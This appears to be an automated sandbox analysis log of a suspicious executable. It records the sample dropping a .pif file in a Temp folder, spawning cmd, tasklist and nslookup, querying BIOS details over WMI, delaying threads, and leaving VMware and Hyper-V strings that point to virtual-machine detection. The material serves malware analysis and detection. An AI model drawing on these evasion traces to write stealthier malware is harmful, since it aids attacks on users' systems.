Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\383775\Fridge.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\383775\Fridge.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\383775\Fridge.pif	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\nslookup.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\nslookup.exe TID: 4844

Thread sleep time: -30000s >= -30000s

Jump to behavior

Source: C:\Windows\SysWOW64\nslookup.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\383775\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\383775	Jump to behavior

Source: Amcache.hve.19.dr	Binary or memory string: VMware
Source: Amcache.hve.19.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.19.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.19.dr	Binary or memory string: VMware-42 27 c5 9a 47 85 d6 84-53 49 ec ec 87 a6 6d 67
Source: Amcache.hve.19.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.19.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.19.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.19.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.19.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: nslookup.exe, 00000010.00000002.2271858252.0000000002F5D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.19.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
